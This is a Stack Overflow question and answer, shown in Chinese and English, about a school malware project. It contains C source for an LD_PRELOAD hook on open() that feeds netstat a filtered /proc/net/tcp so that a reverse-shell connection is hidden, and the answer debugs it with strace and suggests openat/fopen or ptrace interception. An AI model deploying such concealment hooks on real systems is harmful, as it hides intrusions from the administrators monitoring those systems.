提问人:Andreas Frangos 提问时间:11/16/2023 最后编辑:BarmarAndreas Frangos 更新时间:11/18/2023 访问量:52
使用 LD_PRELOAD 覆盖打开函数
Override open function using LD_PRELOAD
问:
我已经制作了一个覆盖 readdir 函数的库,我用它来掩盖一些进程,现在我正在尝试覆盖 open 函数,以隐藏打开的端口,这是我在学校的一个项目的一部分,我必须打开一个 revershell 连接并覆盖它。 netstat 使用 open 函数从 /proc/net/tcp 读取并显示打开的连接。我希望在尝试打开 /proc/net/tcp 文件时打开一个文件,该文件包含 /proc/net/tcp 文件的所有内容,但不包括包含我与反向 shell 连接的端口的行。该文件已创建,位于此路径 /home/kali/Malware/project/hide_port/tcp 中。
我在 c 中制作了这个程序
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
static int (*original_open)(const char *pathname, int flags, ...) = NULL;
static int redirected_fd = -1;
int open(const char *pathname, int flags, ...) {
// Load the original open function if not loaded
if (!original_open) {
original_open = dlsym(RTLD_NEXT, "open");
if (!original_open) {
fprintf(stderr, "Error: Unable to load original open function\n");
return -1;
}
}
// Check if the file being opened is /proc/net/tcp
if (strcmp(pathname, "/proc/net/tcp") == 0) {
// If not already redirected, open the new file
if (redirected_fd == -1) {
redirected_fd = original_open("/home/kali/Malware/project/hide_port/tcp", O_RDONLY);
if (redirected_fd == -1) {
fprintf(stderr, "Error: Unable to open /home/kali/Malware/project/hide_port/tcp\n");
return -1;
}
}
// Return the redirected file descriptor
return redirected_fd;
} else {
// Call the original open function for other files
return original_open(pathname, flags);
}
}
然后我像这样编译它gcc -shared -fPIC -o libnetstat_hide.so hide_sshd.c -ldl
并且像这样运行 netstat,但仍然获得引用连接的行
LD_PRELOAD=./libnetstat_hide.so netstat
答:
我做了什么:
- 我构建了你的并添加了调试。
.so
printf
- 我使用
netstat
LD_PRELOAD
- 您的拦截函数未被调用(即没有调试输出)。
open
printf
- 我在下面重新运行了所有这些
strace
- 我检查了输出
strace
简单的答案是,使用而不是用于所有打开的调用。netstat
openat
open
以下是部分输出:strace
914095 1700075180.092774 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/tcp", O_RDONLY) = 3
914095 1700075180.709689 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/tcp6", O_RDONLY) = 3
914095 1700075181.104876 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/sctp/eps", O_RDONLY) = -1 ENOENT (No such file or directory)
914095 1700075181.104939 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/sctp6/eps", O_RDONLY) = -1 ENOENT (No such file or directory)
914095 1700075181.104993 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/sctp/assocs", O_RDONLY) = -1 ENOENT (No such file or directory)
914095 1700075181.105047 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/sctp6/assocs", O_RDONLY) = -1 ENOENT (No such file or directory)
914095 1700075181.105099 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/udp", O_RDONLY) = 3
914095 1700075181.105471 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/udp6", O_RDONLY) = 3
914095 1700075181.105813 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/udplite", O_RDONLY) = 3
914095 1700075181.106036 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/udplite6", O_RDONLY) = 3
914095 1700075181.106262 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/raw", O_RDONLY) = 3
914095 1700075181.106438 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/raw6", O_RDONLY) = 3
914095 1700075181.106630 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/unix", O_RDONLY) = 3
914095 1700075181.118744 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/ipx/socket", O_RDONLY) = -1 ENOENT (No such file or directory)
914095 1700075181.118799 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/ipx", O_RDONLY) = -1 ENOENT (No such file or directory)
914095 1700075181.118853 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/ax25", O_RDONLY) = -1 ENOENT (No such file or directory)
914095 1700075181.118913 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/x25", O_RDONLY) = -1 ENOENT (No such file or directory)
914095 1700075181.118965 [00007f80464adcb2] openat(AT_FDCWD, "/proc/net/nr", O_RDONLY) = -1 ENOENT (No such file or directory)
更新:
我做了很多测试。似乎使用 .因此,覆盖 [et al.] 将不起作用,因为 glibc 将使用 .所以,我们可能需要拦截。netstat
fopen
open
fopen
open
fopen
但是,由于构造方式的原因,实际的符号有些不清楚。它可以是 ,有或没有符号版本控制(例如 ),或者只是 .glibc
fopen64
fopen64@GLIBC_2.2.5
_IO_new_fopen
fopen
更简单的方法可能是在自定义程序下运行。这将在系统调用级别进行拦截。无论使用什么调用,它都会捕获内容。netstat
ptrace
*open
netstat
请参阅我的答案:强制pthread_create
失败以用于测试目的,以获取有关如何拦截系统调用的示例。
评论
original_open()
else
netstat
netstat
LD_PRELOAD